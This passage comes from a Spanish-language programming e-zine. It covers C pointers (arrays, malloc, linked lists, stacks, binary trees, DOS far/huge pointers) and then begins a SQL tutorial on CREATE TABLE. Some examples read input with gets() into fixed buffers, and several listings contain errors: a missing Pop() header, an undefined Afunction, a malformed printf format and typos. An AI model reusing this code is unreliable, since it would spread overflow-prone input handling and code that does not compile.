  del arreglo, y en realidad constituye internamente una referencia.

  El ejemplo siguiente demuestra esta relacion entre punteros y arreglos.

Ejemplo V.3

#include <stdio.h>

#define MAX 10       

void showFirst(void);

int array[MAX];      

main()
{
  array[0] = 123;   
  showFirst();      
  *array = 321;     
  showFirst();     
  return 0;
}

void showFirst(void)
{
  printf("array[0] = %d\n", array[0]);
  printf("*array   = %d\n", *array);
}


  El ejemplo siguiente, parecido al interior ilustra el uso de punteros en
  vez de indices para direccionar los elementos de un arreglo.

Ejemplo V.4

#include <stdio.h>
#define MAX 10      

void showFirst(void);

int array[MAX];     

main()
{
  int *p = array;   
  int i;            

 
 for (i = 0; i < MAX; i++)
    array[i] = i;
  for (i = 0; i < MAX; i++)
    printf("%d\n", *p++);
  p = &array[5];
  printf("array[5] = %d\n", array[5]);
  printf("*p ..... = %d\n", *p);
  return 0;
}

  La linea 11 declara un puntero entero y al mismo tiempo asigna a p la
  direccion del arreglo. Seria un error usar &array ya que array es un
  puntero y puede asignarse su valor directamente a otro puntero siempre y
  cuando este ultimo sea del mismo tipo.

  Las lineas 14-15 utilizan indices para llenar el arreglo con valores de 0
  a MAX -1. El bucle de las lineas 16 - 17 muestra los valores de los
  elementos del arreglo usando el puntero p en vez de los indices para
  referirse a dichos elementos.

  Con la expresion *p++ ocurren dos acciones. *p da la direccion apuntada
  por p, mientras ++ adelanta p al elemento siguiente de array.

  *p++ constituye una muestra de la aritmetica que puede llevarse a cabo con
  los punteros. Solo + y - pueden usarse en dicha aritmetica:

p -=2;
p +=10;

  etc...

  Las comparaciones de puntero, tales como, (p1 < p2) o (p1 >= p2) deben
  realizarse con mucho cuidado ya que la comparacion de los punteros lejanos
  puede dar resultados erroneos.

  En efecto, en las computadoras basadas en 80x86 que tienen la memoria
  segmentada, dos valores diferentes de direccion pueden corresponder al
  mismo espacio fisico. Por ejemplo, la direccion 0001:0000 es equivalente a
  0000:0010 ya que el primer valor representa el principio de una extremidad
  de un segmento que se encuentra exactamente en el mismo lugar que tiene
  por direccion el segundo valor. Para este tipo de comparacion se debe usar
  punteros de tipo huge (enorme), que fisicamente representan lo mismo que
  los punteros lejanos pero poseen valores del desplazamiento normalizados
  en el rango (decimal) de 0 al 15. Con ellos, cada direccion de memoria
  tiene un valor unico. En otras palabras, cada direccion se representa por
  un par unico segmento-desplazamiento con un desplazamiento en el rango de
  0 al 15.

  El ejemplo siguiente ilustra la comparacion de punteros tipo huge y far.

Ejemplo V.5

#include <stdio.h>
#include <dos.h>

main()
{
  char far *fp1; 
  char far *fp2; 
  char huge *hp1; 
  char huge *hp2; 

  fp1 = MK_FP(0, 0x0010);
  fp2 = MK_FP(0x0001, 0);
  if (fp1 == fp2)
    printf("Los punteros far son iguales\n");
  else
    printf("Los punteros far son diferentes\n");
  hp1 = MK_FP(0, 0x0010);
  hp2 = MK_FP(0x0001, 0);
  if (hp1 == hp2)
    printf("Los punteros huge son iguales\n");
  else
    printf("Los punteros huge son diferentes\n");
  return 0;
}


  Arreglos dinamicos
  ------------------

  Los arreglos de tama~o fijo pueden malgastar espacio. Por ejemplo, si se
  declara:

double miArreglo[100];

  Y se usa solo 70 elementos, se malgasta 240 bytes (30 x 8). En un programa
  grande con muchos arreglos de este tipo, el espacio malgastado puede
  resultar enorme.

  Cuando no se hace necesario determinar por anticipacion el tama~o del
  arreglo, puede usarse la siguiente tecnica para declarar un arreglo
  dinamico cuyo tama~o puede variar en tiempo de ejecucion. Se declara un
  puntero del tipo de las variables que se almacenaran en el arreglo:

double *miArregloP;

  Suponiendo que en cualquier otra parte del programa se necesita un arreglo
  de 70 elementos tipo double, se usara:

miArregloP = malloc(70 * sizeof(double));

  o:

miArregloP = calloc(70, sizeof(double));

  Despues de esta asignacion, si miArregloP no es NULL, este apunta a un
  bloque de memoria capaz de almacenar 70 valores double. Ya que los
  arreglos y punteros estan directamente relacionados, puede usarse el
  identificador del puntero como si hubiera sido declarado como un arreglo:

miArreglo[11] = 3.14159;

  Al terminar de usar el arreglo, debe liberarse la memoria:

free(miArregloP);

  A continuacion puede llamarse de nuevo a malloc() para reservar un espacio
  de memoria diferente y asignar la nueva direccion a miArregloP.


  Arreglos de Punteros
  --------------------

  Cuando, por ejemplo, se extraen cadenas de 80 caracteres de un archivo de
  texto, al almacenarlos en arreglos de tama~o fijo declarados como char
  c[128], se perderan 48 bytes por cadena. El ejemplo siguiente ilustra como
  evitar este malgasto de la memoria usando un arreglo de punteros tipo char
  (Este ejemplo asume que existe suficiente espacio en el monton para
  almacenar las cadenas consideradas. Sin embargo en un programa mas grande
  deberia chequearse la validez de los punteros antes de usarlos).

Ejemplo V.6

#include <stdio.h>
#include <string.h>
#include <alloc.h>
#define MAX 3     

char *ReadString(void);

main()
{
  int i;            
  char *array[MAX]; 

  printf("Teclear %d cadenas:\n", MAX);
  for (i = 0; i < MAX; i++)
    array[i] = ReadString();
  puts("\n\nSus cadenas son:\n");
  for (i = 0; i < MAX; i++)
    puts(array[i]);
  return 0;
}

char *ReadString(void)
{
  char *p;          
  char buffer[128]; 

  gets(buffer);
  p = (char *)malloc(1 + strlen(buffer));
  strcpy(p, buffer);
  return p;
}


  Punteros y Cadenas
  ------------------

  Un puntero a una cadena es literalmente un puntero de puntero y en vez de:

char *array[];
puede usarse:
char **array;

  El uso mas tipico de los punteros a cadenas se ilustra en el ejemplo
  siguiente.


Ejemplo V.7

#include <stdio.h>

main(int argc, char *argv[])
{
  if (argc <= 1) {
    puts("");
    puts("CMDLINE por Max 5");
    puts("Intro CMDLINE [x[y][z]] para probar");
  } else
  while (--argc > 0)
    puts(*++argv);
  return 0;
}


  En la linea 3 se declara main() con parametros. Argc, que es igual al
  numero de parametros de la linea de orden mas uno para el path del
  programa; argv es un puntero a un arreglo de punteros a caracteres,
  apuntando cada uno de ellos a un argumento de la linea de orden.

  Despues de compilar este programa, se ejecuta desde el DOS con cmdline
  arg1 arg2 arg3. Para entender mejor las lineas 11 y 12, despues de agregar
  la declaracion:

char *p;

  Estas lineas pueden  sustituirse por:

while (argc  > 0) {
  argc--;
  p = *argv;
 puts(p);
argv++;
}


  Punteros al entorno
  -------------------

  La funcion main() tambien puede usar un tercer parametro, puntero a un
  arreglo de cadenas, siendo cada cadena una cadena de entorno definida por
  el sistema operativo.

  Se declara main() segun:

main(int argc, char *argv[], char *env[])


  Punteros y Estructuras
  ----------------------

  Sea la estructura:

struct xyrec {
   int x;
   int y;
};

  Puede declararse el puntero de tipo estructura:

struct xyrec *p;

  llamar malloc() para reservar memoria en el monton y asignar su direccion a
  p:

p = (struct xyrec *)malloc(sizeof(struct xyrec));

  Para acceder los miembros de la estructura se usa entonces:

p->x = 123;
p->y =321;

  El ejemplo siguiente ilustra estos conceptos.


Ejemplo V.8

#include <stdio.h>
#include <stdlib.h>

typedef struct xyrec {
  int x;
  int y;
} Xyrec;

typedef Xyrec *PXyrec;

main()
{
  PXyrec xyp;  

  xyp = (PXyrec)malloc(sizeof(Xyrec));
  if (xyp == NULL) {
    puts("Out of memory!");
    exit(1);
  }
  xyp->x = 10;  
  xyp->y = 11;  
  printf("x == %d\n", xyp->x);
  printf("y == %d\n", xyp->y);
  return 0;
}


  Punteros y Funciones
  --------------------

  Las funciones pueden regresar punteros y se puede pasar punteros a los
  parametros de una funcion. Tambien un puntero puede apuntar a una funcion,
  es decir al codigo en vez de datos.

  Antes, de considerar estos conceptos se usa el ejemplo siguiente para
  demostrar como declarar y usar punteros a punteros.

Ejemplo V.9

#include <stdio.h>

main()
{
  double d;      
  double *dp;    
  double **dpp;  

  d = 3.14159;
  dp = &d;
  dpp = &dp;
  printf("Value of d     == %f\n", d);
  printf("Value of *dp   == %f\n", *dp);
  printf("Value of **dpp == %f\n", **dpp);
  return 0;
}

  Regresando a las funciones, si tenemos la estructura siguiente:

struct fecha {
  int dia;
  int mes;
 unsigned anio;
};

  Entonces puede dise~arse una funcion MuestraFecha() para que reciba un
  puntero tipo struct fecha pasado como argumento. Su prototipo seria:

void MuestraFecha(struct fecha *pd);

  Y la definicion de la funcion:

void MuestraFecha(struct fecha *pd)
{
    printf("%02d/%02%d/%04d", pd->dia, pd->mes, pd->anio);
}

  Para mostrar una fecha, en alguna parte del programa se tendria:

struct fecha laFecha = {23, 10, 96};
MuestraFecha(&laFecha);

  Usando este metodo se ahorra tiempo y memoria ya que pasando la
  informacion directamente se copia esta ultima en la pila.

  Regresando a los punteros de punteros, el ejemplo siguiente ilustra los
  requerimientos basicos que se necesitan para pasar un puntero de puntero
  como parametro.

Ejemplo V.10

#include <stdio.h>

void Assign(double **dpp);

main()
{
  double d;
  double *dp;

  d = 0;
  dp = &d;
  Assign(&dp);
  printf("Valor de d   == %f\n", d);
  printf("Valor de *dp == %f\n", *dp);
  return 0;
}

void Assign(double **dpp)
{
  **dpp = 3.14159;
}

  Experimentando con este ejemplo, vamos a agregar:

double q = 1.234;

  y modificar Assign() sustituyendo la linea 20 por:

*dpp = &q;

  Despues de eso *dp se refiere al nuevo valor global. Cuando se combinan
  con estructuras los punteros de punteros, se debe tomar todavia mas
  precauciones. El ejemplo siguiente ilustra el procedimiento a seguir.

Ejemplo V.11

#include <stdio.h>

typedef struct item {
  int a;
  int b;
} Item;

typedef Item *Itemptr;
typedef Itemptr *Itemref;

main()
{
  Item i;
  Itemptr ip;
  Itemref ir;

  i.a = 1;
  i.b = 2;
  ip = &i;
  ir = &ip;
  printf("Value of i.a == %d\n", (*ir)->a);
  printf("Value of i.b == %d\n", (*ir)->b);
  return 0;
}


  El ejemplo V.12 lleva estos conceptos al proximo nivel logico, pasando un
  puntero de puntero a estructura al parametro de una funcion.

Ejemplo V.12

#include <stdio.h>

typedef struct item {
  int a;
  int b;
} Item;

typedef Item *Itemptr;
typedef Itemptr *Itemref;

void Assign(Itemref ir);

main()
{
  Item i;       
  Itemptr ip;   

  i.a = 1;
  i.b = 2;
  ip = &i;
  Assign(&ip);
  printf("Valor de i.a == %d\n", ip->a);
  printf("Valor de i.b == %d\n", ip->b);
  return 0;
}

void Assign(Itemref ir)
{
  (*ir)->a = 4;
  (*ir)->b = 5;
}


  Experimentemos otra vez, agregando la declaracion:

Item q = {100, 200}

  Y sustituyendo las lineas 29 y 30 en Assign() por:

*ir = &q;


  Punteros como resultados de funciones
  -------------------------------------

  Las funciones que regresan un puntero pertenecen a dos categorias:

  - Las funciones que modifican un argumento cuya direccion se pasa a la
    funcion, y regresan un puntero a este mismo argumento.
  - Las funciones que asignan espacio en el monton para una variable dinamica
    nueva y regresan la direccion de este espacio o un puntero null si el
    monton esta lleno o da~ado.

El ejemplo V.13 ilustra un caso tipico de funcion que regresa un puntero a
caracter.

Ejemplo V.13

#include <stdio.h>
#include <ctype.h>
#include <string.h>

char *Uppercase(char *s);

main()
{
  char title[] = "Este es el caso de la letra capital";
  char *cp;

  cp = Uppercase(title);
  puts(cp);
  return 0;
}

char *Uppercase(char *s)
{
  int i;

  for (i = 0; i < strlen(s); i++)
    s[i] = toupper(s[i]);
  return s;
}

  La linea 5 el el prototipo de una funcion que regresa un puntero a
  caracter. Las lineas 12 y 13 pueden sustituirse por:

puts(Uppercase(title));

  El ejemplo V.14 muestra como se usa una funcion para crear variables
  dinamicas nuevas en el monton (No compilar todavia este programa).

Ejemplo V.14

#include <stdio.h>
#include <alloc.h>
#define SIZE 64

void *MakeBlok(unsigned size, char init);

main()
{
  void *p = NULL;

  p = MakeBlok(SIZE, 0xff);
  free(p);
  return 0;
}

void *MakeBlok(unsigned size, char init)
{
  void *p;
  int i;

  p = (void *)malloc(size);
  if (p) {
    for (i = 0; i < size; i++)
      ((char *)p)[i] = init;
  }
  return p;
}


  La funcion MakeBlok() regresa un puntero tipo void de uso general que
  puede apuntar a cualquier tipo de datos o a un buffer de memoria que
  permite almacenar temporalmente informacion. Para asignar un espacio en el
  monton se usa malloc() con un molde para evitar una advertencia del
  compilador. Si malloc() no regresa un null (indicando un monton lleno o
  da~ado), el bucle llena la memoria recientemente asignada con el valor de
  char init, pasado como argumento a la funcion. La expresion (char *)p
  indica al compilador de considerar p como un puntero a un char. Sin
  embargo, p apunta a un bloque de memoria de varios caracteres (si SIZE es
  mayor que 1). El indice se usa entonces, para referirse a cada caracter
  del bloque.

  ((char *)p) es un puntero a un char. Sin embargo, como punteros y arreglos
  son equivalentes puede usarse indices para referirse a cada caracter de
  bloque de memoria apuntado por p.

  El programa debe compilarse desde la linea de comando del DOS con
  tcc -v ej14.c.

  El switch -v genera informacion que se puede usar para chequear como
  funciona el programa usando el turbo debugger con td ejv14. Cuando aparece
  el TD:

  - Presione dos veces F8 para ejecutar el codigo de arranque del programa
    e inicializar p a NULL.
  - Coloque el cursor en p y presione Ctrl+I para inspeccionar el valor del
    puntero (deberia ser igual a ds:0000).
  - Presione F8 para llamar MakeBlok(). Examine el cambio de valor de p cuando
    el programa le asigna el valor del puntero que regresa la funcion. El
    puntero ahora apunta a un nuevo bloque de memoria en la direccion
    indicada.
  - Presione Alt+VD para abrir una ventana que permite visualizar el contenido
    de la memoria.
  - Presione Ctrl+G y teclee p para ver el bloque de datos apuntado por p.
    Todos los bytes son igulaes a FF, el valor hexadecimal pasado a la funcion
    (linea 11).


  Punteros a Funciones
  --------------------

  Un puntero a funcion apunta al codigo ejecutable de la misma funcion. Se
  declara de la manera siguiente:

float (* mifnptr)(void);

  Esta declaracion crea un puntero a una funcion que regresa un float en vez
  de regresar un puntero tipo float. Si la funcion requiere de parametros se
  declaran de la manera usual:

float ( *mifnptr)(int x,int y);

  Para asignar la direccion de la funcion a mifnptr, asumiendo que dicha
  funcion se llama LaFuncion, se utiliza:

mifnptr = LaFuncion;

  No se usa & ya que los nombres de funciones se consideran como punteros
  que apuntan al codigo. La funcion se define de la manera usual:

float LaFuncion(int x, int y)
{
.........
}


  La funcion puede llamarse directamente:

respuesta = LaFuncion(5,6);

  o por referencia:

respuesta = (* mifnptr)(5,6);

  El ejemplo V.15 ilustra estos conceptos en un programa que grafica una
  funcion. Usando un puntero a funcion se simplifica la sustitucion de la
  funcion sin tener que modificar el resto del programa.

Ejemplo V.15

#include <stdio.h>
#include <math.h>
#include <dos.h>
#include <conio.h>

#define XSCALE 20
#define YSCALE 10
#define XMIN 1
#define XMAX 79
#define YMIN 1
#define YMAX 25

typedef double (* Pfptr)(int x);

void Yplot(int x, double f);
double Afunction(int x);

main()
{
  int x;
  Pfptr pf = Afunction;

  clrscr();
  for (x = XMIN; x <= XMAX; x++)
    Yplot(x, (* pf)(x * XSCALE));
  gotoxy(XMIN, YMAX - 2);
  return 0;
}

void Yplot(int x, double f)
{
  gotoxy(x, YMIN + (YSCALE + (f * YSCALE)));
  delay(50);    
  putch('*');
}


  En la linea 25:

  Yplot(x, (* pf)(x * XSCALE)); la expresion (* pf)(x*XSCALE) llama a la
  funcion apuntada por pf, pasando como argumento (x * XSCALE). *pf indica
  al compilador llamar al codigo apuntado por pf, es decir a la funcion que
  se quiere graficar. En este caso sencillo es evidente que deberia haberse
  usado: Yplot(x, Afunction(x*XSCALE)); Sin embargo, en un programa mas
  grande donde el programa graficador puede encontrarse en un modulo y la
  funcion matematica en otro, puede resultar mas conveniente usar la primera
  de estas opciones que modificar la llamada a Yplot(). Ademas, este cambio
  puede realizarse aun cuando no se tiene acceso al codigo fuente del
  programa graficador.


  Estructuras de datos dinamicas
  ------------------------------

  a.- Listas
      ------

  Una estructura puede poseer un puntero que apunta a otra estructura del
  mismo tipo:

struct item (
    int Inform;
    struct item *sigue;
};

  Se forman asi listas que pueden almacenar cualquier tipo de informacion:

  Para crear una lista se declara primero la estructura:

typedef struct item {
	int info;
    	struct item *sigue;
} Item;

typedef Item *Itemptr;
typedef Itemptr *Itemref;

  En estas declaraciones Itemptr se usa en vez de struct Item *, que es un
  puntero a un Item. Itemref a su vez es un puntero a un puntero a un Item.

  A continuacion se declara un puntero a un Item que se usa para encabezar
  la lista:

  Itemptr head = NULL;

  Cuando el puntero head es NULL, la lista esta vacia, razon por la cual se
  inicializa el puntero en la declaracion. Para empezar la lista, se examina
  head, y si este esta vacio se asigna espacio para un nuevo Item:

if (head == NULL) {
	head = (Itemptr)malloc(sizeof(Item));
	head->info = 1;
	head->sigue = NULL;
}

  Para agregar un segundo elemento se usa:

Itemptr p;

p =  (Itemptr)malloc(sizeof(Item));
p->info = 2;
p->sigue = head->sigue;
head->sigue = p;

  Para acceder a los elementos de la lista puede usarse:

i = head->info;
i = head->sigue->info;
i = head->sigue->sigue ->info;
i = head->sigue->sigue->sigue ->info;

  Sin embargo, es preferible utilizar un bucle. Por ejemplo, para mostrar
  los valores de la lista podria usarse:

Itemptr p;
p = head;
while (p != NULL) {
	printf("%d\n", p->info);
p = p->sigue;
}


  En este caso, el ultimo elemento de la lista debe tener su miembro sigue
  null. Para borrar el elemento de la lista apuntado por head se usa:

Itemptr p;
p = head;
head = head->sigue;
free(p);


  Pilas
  -----

  El ejemplo V.16 muestra como usar una lista para crear pilas de
  estructuras Item. El programa crea dos listas, una para las estructuras
  activas y otra para las estructuras borradas. Despues de compilar el
  programa, presione A varias veces para agregar nuevos items a la pila y a
  continuacion presione  D el mismo numero de veces para borrar items y
  agregarlos a la lista de estructuras borradas. Si se borra mas items que
  creados, el programa crea estructuras iguales a -1 y las agrega a la lista
  de items borrados. Si, a continuacion se presiona de nuevo A, en vez de
  crear estructuras nuevas el programa utiliza cualquiera de la estructuras
  de la lista de items borrados y la agrega a la lista de items activos.

Ejemplo V.16

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <conio.h>

#define FALSE 0
#define TRUE 1

typedef struct item {
  int data;               
  struct item *next;      
} Item;

typedef Item *Itemptr;    
typedef Itemptr *Itemref; 

void Push(Itemptr newitem, Itemref list);
void Pop(Itemref newitem, Itemref list);
void AddItem(void);
void DelItem(void);
void ShowList(Itemptr p);
void Display(void);

Itemptr avail;         
Itemptr itemlist;      

main()
{
  int done = FALSE;    
  int c;               

  while (!done) {
    Display();
    gotoxy(1, 25);
    cprintf("A-gregar, B-orrar, S-alir");
    c = getch();
    switch (toupper(c)) {
      case 'A': 
        AddItem(); 
        break;
      case 'B': 
        DelItem(); 
        break;
      case 'S': 
        done = TRUE;
        break;
    }
  }
  return 0;
}

void Push(Itemptr newitem, Itemref list)
{
  newitem->next = *list; 
  *list = newitem;       
}

{
  if (*list == NULL) {      /* Si la lista esta vacia ... */
    *newitem = malloc(sizeof(struct item));  /* Crear item */
    (*newitem)->data = -1;  /* Inicializa los datos en -1 */
  } else {                  
    *newitem = *list;       
    *list = (*list)->next;  
  }
}


void AddItem(void)
{
  Itemptr newitem;

  Pop(&newitem, &avail);     
  if (newitem->data < 0)     
    newitem->data = rand();  
  Push(newitem, &itemlist);  
}

void DelItem(void)
{
  Itemptr newitem;

  Pop(&newitem, &itemlist);  
  Push(newitem, &avail);     
}

void ShowList(Itemptr p)
{
  while (p != NULL) {
    gotoxy(1, wherey() + 1);
    cprintf("%d", p->data);
    clreol();
    p = p->next;      
  }
}

void Display(void)
{
  clrscr();
  gotoxy(1, wherey() + 1);
  cprintf("Avail list:");
  ShowList(avail);
  gotoxy(1, wherey() + 2);
  cprintf("Item list:");
  ShowList(itemlist);
}

  Este programa no utiliza ningun concepto nuevo y en consecuencia deberia
  entenderse la mayoria de sus sentencias.


  Arboles
  -------

  Si se agrega otro puntero a las estructuras anteriores, cada estructura
  puede apuntar a dos estructuras del mismo tipo al mismo tiempo, creandose
  asi un arbol.

Typedef struct item {
	char *info;
	struct item *izq;
	struct item *der;
} Item;

typedef Item *Itemptr;
typedef Itemptr * Itemref;

  El ejemplo V.17 muestra como un programa puede examinar cada elemento del
  arbol.

Ejemplo V.17
#include <stdio.h>
#include <string.h>
#include <alloc.h>

typedef struct item {
  char *data;           
  struct item *left;    
  struct item *right;   
} Item;
typedef Item *Itemptr;
typedef Itemptr *Itemref;

Itemptr root;  

void Search(Itemref tree, const char *s);
void Process(Itemptr node);
void PreOrder(Itemptr node);
void InOrder(Itemptr node);
void PostOrder(Itemptr node);

main()
{
  int done = 0;
  char s[128];

  puts("Arbol de Prueba");
  while (!done) {
    printf("Datos (enter para salir): ");
    gets(s);
    done = (strlen(s) == 0);
    if (!done)
      Search(&root, s);
  }
  puts("\nPREORDER:\n");
  PreOrder(root);
  puts("\n\nINORDER:\n");
  InOrder(root);
  puts("\n\nPOSTORDER:\n");
  PostOrder(root);
  puts("");
  return 0;
}

void Search(Itemref tree, const char *s)
{
  Itemptr p;
  int cmpresult;

  if (*tree == NULL) {
    p = (Itemptr)malloc(sizeof(Item));
    p->data = strdup(s);
    p->left = NULL;
    p->right = NULL;
    *tree = p;
  } else {
    p = *tree;
    cmpresult = strcmp(s, p->data);
    if (cmpresult < 0)
      Search(&p->left, s);
    else if (cmpresult > 0)
      Search(&p->right, s);
    else {
      puts("Datos Duplicados!");
      Process(p);
      puts("");
    }
  }
}



void Process(Itemptr node)
{
  printf("%s  ", node->data);
}

void PreOrder(Itemptr node)
{
  if (node != NULL) {
    Process(node);
    PreOrder(node->left);
    PreOrder(node->right);
  }
}

void InOrder(Itemptr node)
{
  if (node != NULL) {
    InOrder(node->left);
    Process(node);
    InOrder(node->right);
  }
}

void PostOrder(Itemptr node)
{
  if (node != NULL) {
    PostOrder(node->left);
    PostOrder(node->right);
    Process(node);
  }
}

  Compile y ejecute este programa. Cuando el programa le pide introducir la
  informacion, introduzca mango, cambur, manzana, cereza, durazno y pera y
  presione Intro despues del ultimo nombre.

  Como puede verse en este programa, una de las ventajas de los arboles
  binarios es su capacidad de mantener ordenados los datos sin necesidad de
  usar una funcion de ordenacion particular.

  Uso de punteros para acceder a la informacion sobre el sistema. El ejemplo
  siguiente muestra como acceder a la informacion sobre el sistema usando
  punteros. En este caso, se obtiene informacion sobre el display en el
  arranque, asicomo el numero de columnas soportado

Ejemplo V.18
#include <stdio.h>
#include <dos.h>

main()
{
  char far *mode = (char far *)MK_FP(0x0040, 0x0049);
  int far *cols = (int far *)MK_FP(0x0040, 0x004a);

  printf("CRT startup mode = %d\n", *mode);
  printf("CRT columns      = %d\n", *cols);
  return 0;
}


  El ejemplo V.19 muestra como usar punteros para detectar cuando el usuario
  presiona las teclas Alt, ctrl, Shift Left, Shift Right.

Ejemplo V.19

#include <stdio.h>
#include <dos.h>
#include <string.h>
#include <conio.h>

typedef struct keyboard {
  unsigned shiftRight  : 1;
  unsigned shiftLeft   : 1;
  unsigned ctrl        : 1;
  unsigned alt         : 1;
  unsigned scrollLock  : 1;
  unsigned numLock     : 1;
  unsigned capsLock    : 1;
  unsigned insert      : 1;
  unsigned             : 8;
} Keyboard;

int CmpKeys(void far* p1, void far* p2);
void ShowString(int *y, char *s);
void ShowValue(int *y, char *s, unsigned v); 

main()
{
  Keyboard far *keys;  
  Keyboard oldkeys;    
  int done = 0;        
  int y;               

  clrscr();
  keys = (Keyboard far *)MK_FP(0x0040, 0x0017);
  while (!done) {
    y = 1;
    ShowString(&y, "Estado del teclado");
    y++;
    ShowString(&y, "State bits (press and release):");
    ShowValue(&y, " <Insert> ....... ", keys->insert);
    ShowValue(&y, " <Caps lock> .... ", keys->capsLock);
    ShowValue(&y, " <Num lock> ..... ", keys->numLock);
    ShowValue(&y, " <Scroll lock> .. ", keys->scrollLock);
    y++;
    ShowString(&y, "Shift bits. :");
    ShowValue(&y, " <Alt> .......... ", keys->alt);
    ShowValue(&y, " <Ctrl> ......... ", keys->ctrl);
    ShowValue(&y, " <Shift left> ... ", keys->shiftLeft);
    ShowValue(&y, " <Shift right> .. ", keys->shiftRight);
    y++;
    ShowString(&y, "Presione cualquier tecla para cambiar el estado");
    ShowString(&y, "Presione <Ctrl>-<Alt>-<shiftLeft> para salir");
    done = (   keys->alt 
            && keys->ctrl 
            && keys->shiftLeft);
    oldkeys = *keys;  
    while (CmpKeys(&oldkeys, keys)) ; 
  }
  gotoxy(1, 25);
  return 0;
}

int CmpKeys(void far* p1, void far* p2)
{
  return *(char far *)p1 == *(char far *)p2;
}

void ShowString(int *y, char *s)
{
  gotoxy(1, *y);
  cputs(s);
  (*y)++;
}

void ShowValue(int *y, char *s, unsigned v)
{
  ShowString(y, s);
  cprintf("%u", v);
}


  Como se accede a la memoria
  ---------------------------

  Debe conocerse como accede el microprocesador a la memoria para saber
  tambien como se accede a la memoria desde un programa. Conviene no olvidar
  que los recursos de que se dispone en las instrucciones son en realidad
  los que da el microprocesador a nivel hardware, y saber como accede el
  micro a ella es saber como acceder desde los programas. Para empezar se
  debe saber que, en un PC con micro 8086, la memoria instalada puede ser de
  hasta un maximo de 1 Mbyte (1 Mbyte = 1024 Kbytes = 1048576 bytes =
  octetos de bits). Dicha cantidad de bytes estan colocados secuencialmente
  y cada uno de ellos tiene un numero asociado correspondiente al lugar que
  ocupan (offset que significa <desplazamiento relativo a base>). Se tienen
  pues bytes que van desde el 0 hasta el 1048575. Dicho numero no cabe en
  16 bits, que es lo maximo (offset maximo) que puede indicar la CPU al
  sistema mediante el bus de direcciones de 16 bits que posee; por lo tanto,
  en principio, teoricamente solo se podria acceder hasta el byte numero 65535
  (el numero mayor posible de 16 bits) contando a partir del inicio, que es el
  byte 0.

  Para solucionar esto se creo un complemento al offset a la hora de indicar
  el numero de byte a que se quiere acceder. A este complemento se le llama
  Base y corresponde a lo que se conoce por segmento en ensamblador, que es
  tambien un numero de 16 bits que da, por decirlo asi, la posibilidad de
  tener una base programable. De esta forma, cada vez que se quiere acceder a
  un byte concreto se debe indicarle en que byte empieza la base virtual
  (segmento) a partir de la cual empieza a contar el sistema el offset que se
  le indique junto a ella. Si, como hemos visto, solo se puede acceder a
  65536 bytes con el OFFSET, para poder acceder a todos los bytes por encima
  del byte numero 65535, se invento el truco de que la base siempre funcionase
  como si se multiplicase por 16. De esta forma, cuando por ejemplo se indica
  al ordenador como base el segmento con valor 10000, se esta indicando que
  se quiere acceder al byte numero OFFSET que se encuentra contando a partir
  del byte numero 10000*16, o sea a partir del byte 160000. El ordenador,
  gracias al truco de multiplicar la base*16, hace que pueda crear bases
  usando un numero de 16 bits que lleguen hasta el limite del meqabvte de
  que disponemos (65536*16 = 1 Mbyte).

  Mediante este metodo, desde el segmento que se le indica, se puede ahora
  acceder a los 65536 bytes que haya a partir del byte que corresponde a esa
  base (segmento). De esta forma se tiene acceso a toda la memoria del PC (a
  cada uno de los 1024 Kbytes). A la direccion de memoria completa que apunta
  a un byte, por ejemplo 50:4000, se le da el nombre de puntero (pointer en
  ingles) y es un tecnicismo muy conocido tambien entre los programadores de
  C y todos los lenguajes de bajo-medio nivel que permiten trabajar
  directamente con direcciones de memoria.

  Para representar de forma escrita a los punteros se escriben ambos
  componentes separados solo por dos puntos, colocando en primer lugar al
  segmento. Dicha sintaxis de representacion es un estandar de programacion.

Ejemplos:

1- Si decimos que tenemos un segmento con valor 50 y un offset con valor
   40000 (50:40000), se esta indicando que se accede al byte 50*16+ 40000.
2- Si se pone por eiemplo la direccion (Segmento:offset) 10000:5000, para
   saber a que byte lineal corresponde dentro de la memoria del PC, solo
   hay que calcular: (10000*16)+5000. Osea, en este caso se accede al byte
   numero 165000.


<EOF>

-[ 4x05.txt ]----------------------------------------------------------------
-[ Manejando SQL (III Parte) ]-----------------------------------[ ShAd0w5 ]-
------------------------------------------------------[ shadow5@otv.org.ve ]-


  11. Estructuras de las Tablas
      -------------------------

  11.1 Creacion de Tablas Nuevas
       -------------------------

  Si se esta utilizando el motor de datos de Microsoft para acceder a bases
  de datos access, solo se puede emplear esta instruccion para crear bases
  de datos propias de access. Su sintaxis es:

    CREATE TABLE tabla (campo1 tipo (tama~o) indice1 , 
    campo2 tipo (tama~o) indice2 , ..., 
    indice multicampo , ... ) 

  En donde: 
  
  * tabla: Es el nombre de la tabla que se va a crear. 

  * campo1, campo2: Es el nombre del campo o de los campos que se van a
                    crear en la nueva tabla.  La nueva tabla debe contener,
                    al menos, un campo.

  * tipo: Es el tipo de datos de campo en la nueva tabla. (Ver Tipos de
          Datos)

  * tama~o:Es el tama~o del campo solo se aplica para campos de tipo texto.

  * indice1, indice2: Es una clausula CONSTRAINT que define el tipo de
                      indice a crear. Esta clausula en opcional.

  * indice multicampos: Es una clausula CONSTRAINT que define el tipo de
                        indice multicampos a crear. Un indice multi campo es aquel que esta indexado por el contenido de varios campos. Esta clausula en opcional.


  CREATE TABLE Empleados (Nombre TEXT (25) , Apellidos TEXT (50)); 


  Crea una nueva tabla llamada Empleados con dos campos, uno llamado Nombre
  de tipo texto y longutid 25 y otro llamado apellidos con longitud 50.

  CREATE TABLE Empleados (Nombre TEXT (10), Apellidos TEXT,
    Fecha_Nacimiento DATETIME) CONSTRAINT IndiceGeneral UNIQUE 
    ([Nombre], [Apellidos], [Fecha_Nacimiento]); 

  Crea una nueva tabla llamada Empleados con un campo Nombre de tipo texto y
  longitud 10, otro con llamado Apellidos de tipo texto y longitud
  predeterminada (50) y uno mas llamado Fecha_Nacimiento de tipo Fecha/Hora.

  Tambien crea un indice unico (no permite valores repetidos) formado por
  los tres campos.

    CREATE TABLE Empleados (ID INTEGER CONSTRAINT IndicePrimario PRIMARY, 
    Nombre TEXT, Apellidos TEXT, Fecha_Nacimiento DATETIME); 

  Crea una tabla llamada Empleados con un campo Texto de longitud
  predeterminada (50) llamado Nombre y otro igual llamado Apellidos, crea
  otro campo llamado Fecha_Nacimiento de tipo Fecha/Hora y el campo ID de
  tipo entero el que establece como clave principal.


  11.2 La clausula CONSTRAINT
       ----------------------

  Se utiliza la clausula CONSTRAINT en las instrucciones ALTER TABLE y
  CREATE TABLE para crear o eliminar indices. Existen dos sintaxis para
  esta clausula dependiendo si desea Crear o Eliminar un indice de un unico
  campo o si se trata de un campo multiindice. Si se utiliza el motor de
